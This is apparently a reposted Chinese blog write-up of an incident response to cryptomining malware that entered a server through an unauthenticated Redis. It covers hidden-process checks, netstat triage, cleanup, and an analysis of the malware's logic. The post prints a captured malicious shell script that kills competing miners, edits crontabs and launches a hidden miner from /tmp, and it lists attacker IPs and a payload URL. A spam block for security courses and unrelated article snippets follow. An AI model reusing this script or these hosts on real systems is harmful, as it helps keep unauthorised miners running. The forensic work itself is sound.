记一次挖矿病毒的溯源

ps:因为项目保密的原因部分的截图是自己在本地的环境复现。

1. 起因

客户打电话过来说,公司web服务异常卡顿。起初以为是web服务缓存过多导致,重启几次无果后觉得可能是受到了攻击。起初以为是ddos攻击,然后去查看web服务器管理面板时发现网络链接很少,但是cpu占用高达99%,于是便怀疑是中了挖矿病毒。

2.排查可疑进程

首先发现cpu占用率过高,初步怀疑是挖矿病毒。于是上ssh开始排查

使用top命令查看进程占用列表。发现并没有占用过高的程序,但是查询cpu占用率确实是99%。怀疑是隐藏了linux进程。

以为是做了进程隐藏,于是写了个python脚本遍历/proc目录。/proc目录是一个虚拟文件系统,用于提供有关系统内核和运行进程的信息。该目录中包含一系列以数字命名的子目录,每个子目录代表一个正在运行的进程。在这些子目录中,可以访问有关进程状态、内存使用情况、打开的文件列表等信息。

该脚本遍历proc目录,查询ps aux不显示的进程id,然后显示打印出来。

import osdef get_max_pid():pid_list = [int(pid) for pid in os.listdir('/proc') if
pid.isdigit()]return str(max(pid_list))def get_existing_process_ids(max_pid):process_ids = []for pid in range(1, int(max_pid) + 1):if os.path.exists('/proc/' + str(pid)):process_ids.append(str(pid))return process_idsdef get_ps_aux_process_ids():process_ids = []output = os.popen('ps aux').read()lines = output.split('n')for line in lines[1:]:if line.strip() != '':pid = line.split()[1]process_ids.append(pid)return process_idsmax_pid = get_max_pid()
existing_process_ids = get_existing_process_ids(max_pid)
ps_aux_process_ids = get_ps_aux_process_ids()for pid in existing_process_ids:if pid not in ps_aux_process_ids:print('Hidden PID {}'.format(pid))

emmmm, 但是效果不是很理想,有一大部分进程都是僵尸进程。

然后一个一个排查后效果不佳,并无发现什么可疑进程。

帮助网安学习,全套资料S信免费领取:
① 网安学习成长路径思维导图
② 60+网安经典常用工具包
③ 100+SRC分析报告
④ 150+网安攻防实战技术电子书
⑤ 最权威CISSP 认证考试指南+题库
⑥ 超1800页CTF实战技巧手册
⑦ 最新网安大厂面试题合集(含答案)
⑧ APP客户端安全检测指南(安卓+IOS)

3 排查网络链接

于是打算从网络链接中入手,使用netstat
-antp进行排查。发现有进程在链接47.130.146.28这个ip地址,然后拿这个ip地址反查域名。

发现是绑定的log.softgoldinformation.com这个域名。

然后搜索这个域名,发现之前也有人排查过了。

然后发现其实还有其他ip
这里就不一一截图了。moneroocean,xmrig,kdevtmpfsi,mysqlserver等病毒基本上都有在链接。(服务器基本上已经中了n种病毒了。基本上与各种矿池都有链接。)

然后协商客户运维,设置只允许服务器访问国内ip地址,这一步主要是为了能通畅的链接ssh。因为挖矿病毒一般都是挖取xmr,xmr使用的基本上都是cpu,在挖矿进程链接不了矿池的情况下通常都不会产生cpu占用。果然禁止服务器出网后,cpu占用率就下来了。(也是为了防止服务器继续链接挖矿者的c2)

4 寻找漏洞

问过客户服务器有装什么软件,然后说是为了方便做web数据库的缓存,半个月之前装了redis。

使用ps aux|grep redis查看redis端口。

尝试空密码链接成功。基本确定入口点是redis。

5 补救措施

发现基本已经在跑着几个挖矿的病毒了。这里不确定能不能把后门排查完,只能和客户沟通说先排查一遍看看。(因为挖矿木马一般都会有后门,在清理挖矿程序后,后门会自动检查挖矿程序是否运行,如果不运行的话会重新下载一个挖矿程序然后再次运行。所以在完全清除挖矿程序后一段时间内,cpu占用率不飙升就可以说明清理成功。反之则说明挖矿病毒并未清理成功。)

首先查看一下定时任务。 发现并无异常。

cat /etc/crontab

然后查看tmp目录,发现有sh文件,
这里抽取一个sh来分析,基本上/tmp出现这种都可以确定服务器被挖矿了。同理的还有/var/tmp目录。

ls -la /tmp

随便打开一个配置文件就能发现,攻击者的矿池地址和钱包地址。这种情况基本把tmp目录全部清除即可。

下面是一个
solr的挖矿病毒脚本,这里只是kill掉了挖矿同行的进程和定时任务。

#!/bin/sh
export PATH=$PATH:/bin:/usr/bin:/usr/local/bin:/usr/sbin
while [ 1 ]
dokillall /tmp/*killall /var/tmp/*crontab -l | sed '/195.3.146.118/d' | crontab -crontab -l | sed '/cf.sh/d' | crontab -crontab -l | sed '/xms/d' | crontab -crontab -l | sed '/kwork.sh/d' | crontab -crontab -l | sed '/cyberium/d' | crontab -crontab -l | sed '/newdat/d' | crontab -rm -f /tmp/*ps aux | grep -v grep | grep 'javaupDates' | awk '{print $2}'
| xargs -I % kill -9 %ps aux | grep -v grep | grep 'givemexyz' | awk '{print $2}'
| xargs -I % kill -9 %ps aux | grep -v grep | grep 'dbused' | awk '{print $2}' |
xargs -I % kill -9 %ps aux | grep -v grep | grep 'kdevtmpfsi' | awk '{print $2}'
| xargs -I % kill -9 %ps aux | grep -v grep | grep 'kinsing' | awk '{print $2}' |
xargs -I % kill -9 %ps aux | grep -v grep | grep -v 27.1 | grep -v 222.122 | grep
'wget' | awk '{print $2}' | xargs -I % kill -9 %ps aux | grep -v grep | grep -v 27.1 | grep -v 222.122 | grep
'curl' | awk '{print $2}' | xargs -I % kill -9 %ps aux | grep -v grep | grep -v 27.1 | grep -v 222.122 | grep
'urlopen' | awk '{print $2}' | xargs -I % kill -9 %pgrep JavaUpdate | xargs -I % kill -9 %pgrep kinsing | xargs -I % kill -9 %pgrep donate | xargs -I % kill -9 %pgrep kdevtmpfsi | xargs -I % kill -9 %pgrep trace | xargs -I % kill -9 %pgrep sysupdate | xargs -I % kill -9 %pgrep mysqlserver | xargs -I % kill -9 %ps aux | grep -v grep | grep 'trace' | awk '{print $2}' |
xargs -I % kill -9 %pkill xmrigpkill sysupdatepkill sysguardpkill kthreaddkpkill networkservicepkill kdevtmpfsipkill watchbogp=$(ps auxf|grep solrd|awk '{if($3>=60.0) print $2}')name=""$pif [ -z "$name" ]thenpkill solrdps aux | grep -v grep | grep -v
'java|redis|weblogic|solr|mongod|mysql|oracle|tomcat|grep|postgres|confluence|awk|aux|sh'
| awk '{if($3>60.0) print $2}' | xargs -I % kill -9 %nohup /tmp/.solr/solrd &>>/dev/null &sleep 30nohup /tmp/.solr/genshin &>>/dev/null &sleep 30else:fi
done

查看/etc/passwd 是否有恶意用户

cat /etc/passwd

查看ssh是否有后门用户 (因为是redis的洞 很有可能会写入sshkey)

ls -la /root/.ssh/

然后用clamscan扫描一遍

clamscan -r /

设置redis密码登录。(这一步是由客户人员配置)

然后删除tmp目录下的脚本文件

rm -rf /tmp/*.sh

6 脚本分析

这里抽取其中的一个sh脚本讲一下挖矿病毒逻辑,因为脚本较大,所以这里是抽取部分代码过一遍逻辑,实际上常见的挖矿病毒脚本基本都差不多是一个逻辑,所以这里抽取了一个。

首先脚本的逻辑是从kill掉其他挖矿同行进程开始

然后写了一个定时任务

然后判断目标系统位数,到[http://94.103.87.71/]{.underline}去下载病毒程序

这也就是最终的病毒文件

果不其然

最后是自动清理本身

总结

这次事故主要是因为开发人员不懂安全,直接开放redis数据库在公网并且不设置登录密码。虽然是内网服务器但是万幸做好了隔离。不然挖矿病毒肯定会在内网进行传播。

ps:听说客户之后去问了开发小哥,开发小哥说随便在网上找的教程,教程上是这样配置的就直接复制粘贴上去。所以建议大家在配置东西的时候尽量去查一下文档。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/223709.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Python调用API的实用技巧

导语:在当今的软件开发世界中,API(应用程序接口)已成为数据传输和功能调用的重要桥梁。Python作为一种功能强大的编程语言,提供了多种调用API的方法。本文将分享一些实用的Python调用API技巧,帮助你更好地利…

最大子数组和java实现【动态规划基础练习】

12.15 最大子数组和 给你一个整数数组 nums ,请你找出一个具有最大和的连续子数组(子数组最少包含一个元素),返回其最大和。 子数组 是数组中的一个连续部分。 示例 1: 输入:nums [-2,1,-3,4,-1,2,1,-5,4]…

深入了解空号检测API:提升通信效率的关键

引言 随着通信技术的不断发展,人们对于通信效率的要求也越来越高。在通信过程中,空号检测是一个非常重要的环节,它可以帮助我们避免无效的通信,提高通信效率。而空号检测API则是实现空号检测功能的重要工具。 空号检测API 空号…

git的分支的使用,创建分支,合并分支,删除分支,合并冲突,分支管理策略,bug分支,强制删除分支

GIT | 分支 文章目录 GIT | 分支创建分支合并分支删除分支合并冲突分支管理策略bug分支强制删除分支 创建分支 查看当前本地仓库中有哪些分支 git branchHEAD所指向的分支就是当前正在工作的分支 cat .git/HEAD创建一个分支 git branch dev创建好了,但是目前还是…

数字人克隆系统源码无限克隆数字人!

随着人工智能技术的不断发展,数字人的应用越来越广泛。数字人可以用于虚拟演员、虚拟客服、虚拟主持人等领域,为企业和个人带来更多的商业价值和娱乐体验。然而,数字人的制作过程需要大量的人力和时间,成本较高,限制了…

记一次clickhouse启动报错

clickhouse一次排错 clickhouse启动报错 报错: Application: Code: 210. DB::Exception: Listen [::]:8123 failed: Poco::Exception. Code: 1000, e.code() 0, DNS error: EAI: Address family for hostname not supported (version 23.3.1.2823 (official bui…

破局:国内市场确实存在“消费升级”和“消费降级”,3.0全新新零售商业模式

国内市场确实存在“消费升级”和“消费降级”两个趋势,这是由于不同消费者群体的需求和购买力存在差异。消费升级主要发生在高端市场,消费者愿意为高品质、高价值、高价格的商品和服务付出更多。而消费降级则主要发生在中低端市场,消费者更加…

vue2项目vue-qrcode-reader 扫一扫二维码插件

vue2项目 vue-qrcode-reader 扫一扫二维码插件 问题所在解决办法成功展示 问题所在 今天在引导师弟做扫二维码功能,发现通过npm install --save vue-qrcode-reade安装死活就是报错TypeError: Object...) is not a function 解决办法 百度了很多大牛的博客&#…

Leetcode—2415.反转二叉树的奇数层【中等】

2023每日刷题(六十) Leetcode—2415.反转二叉树的奇数层 BFS的C实现代码 /*** Definition for a binary tree node.* struct TreeNode {* int val;* TreeNode *left;* TreeNode *right;* TreeNode() : val(0), left(nullptr), right(n…

【docker 】Dockerfile指令学习

学习文档地址 上篇文章:【docker 】基于Dockerfile创建镜像 Dockerfile指令文档地址 .dockerignore 文件 Dockerfile指令 常见的指令 Dockerfile 指令说明FROM指定基础镜像,用于后续的指令构建。MAINTAINER指定Dockerfile的作者/维护者。&#xff…

RK3568平台(网络篇) 有线网络基本概念及测试手法

一.什么是交换机? 交换机是一种用于电(光)信号转发的网络设备。它可以为接入交换机的任意两个网络节点提供独享的电信号通路。最常见的交换机是以太网交换机。交换机工作于OSI参考模型的第二层,即数据链路层。交换机拥有一条高带宽的背部总线和内部交换…

c++原子变量

原子变量 概述 ​ C11提供了一个原子类型std::atomic<T>&#xff0c;通过这个原子类型管理的内部变量就可以称之为原子变量&#xff0c;我们可以给原子类型指定bool、char、int、long、指针等类型作为模板参数&#xff08;不支持浮点类型和复合类型&#xff09;。 ​ …

51单片机应用从零开始(十一)·数组函数、指针函数

51单片机应用从零开始&#xff08;九&#xff09;数组-CSDN博客 51单片机应用从零开始&#xff08;十&#xff09;指针-CSDN博客 目录 1. 用数组作函数参数控制流水花样 2. 用指针作函数参数控制 P0 口 8 位 LED 流水点亮 1. 用数组作函数参数控制流水花样 要在51单片机中…

回溯算法第一篇(子集树问题【三种思路】、0-1背包问题、最小重量机器设计问题)

目录 1. 子集树问题 解法一 解法二 解法三 2. 0-1背包问题&#xff08;使用子集树解决&#xff09; 3. 最小重量机器设计问题 1. 子集树问题 子集力扣链接 题目描述&#xff1a;给你一个整数数组 nums &#xff0c;数组中的元素 互不相同 。返回该数组所有可能的子集&am…

NV040D语音芯片应用于取暖桌:智能语音提高用户体验

科技与生活的结合&#xff0c;是科技发展的展示。天气的降温&#xff0c;取暖桌越来越取得用户的心&#xff0c;时至今日传统的取暖桌已经没有办法满足用户的需求&#xff0c;智能语音取暖桌给用户的生活带来了不一样的体验。 NV040D语音芯片是一款性能稳定的芯片&#xff0c;拥…

XS9922B-国产cvi协议,满足国内车载视频传输领域国产化降本需求

XS9922B 是一款 4 通道模拟复合视频解码芯片&#xff0c;支持 HDCCTV 高清协议和 CVBS 标 清协议&#xff0c;视频制式支持 720P/1080P 高清制式和 960H/D1 标清制式。芯片将接收到的高清 模拟复合视频信号经过模数转化&#xff0c;视频解码以及 2D 图像处理之后&#xff0c;转…

Citespace、vosviewer、R语言的文献计量学可视化分析

文献计量学是指用数学和统计学的方法&#xff0c;定量地分析一切知识载体的交叉科学。它是集数学、统计学、文献学为一体&#xff0c;注重量化的综合性知识体系。特别是&#xff0c;信息可视化技术手段和方法的运用&#xff0c;可直观的展示主题的研究发展历程、研究现状、研究…

星座生肖运势配对+周公解梦流量主小程序源码系统 带完整的安装部署教程·

近年来&#xff0c;人们对于星座和生肖的配对以及周公解梦的需求越来越大。罗峰发现了一款集星座、生肖配对和周公解梦于一体的流量主小程序源码系统。该系统具有丰富的功能和易于部署的特点&#xff0c;旨在为广大用户提供更加便捷、高效的星座生肖配对和周公解梦服务。 以下…

差分法详解

前言 差分算法适用于一些需要对数组和序列进行增减、查询和更新操作的问题&#xff0c;可以提高计算效率和降低存储空间的需求。今天我将带大家学习如何使用差分法&#xff0c;会以例题来带大家使用差分法以增进理解。话不多说让我们开始吧&#xff01; 文章目录 一维差分尾声…

spring boot集成mybatis和springsecurity实现登录认证功能

参考了很多网上优秀的教程&#xff0c;结合自己的理解&#xff0c;实现了登录认证功能&#xff0c;不打算把理论搬过来&#xff0c;直接上代码可能入门更快&#xff0c;文中说明都是基于我自己的理解写的&#xff0c;可能存在表述或者解释不对的情况&#xff0c;如果需要理论支…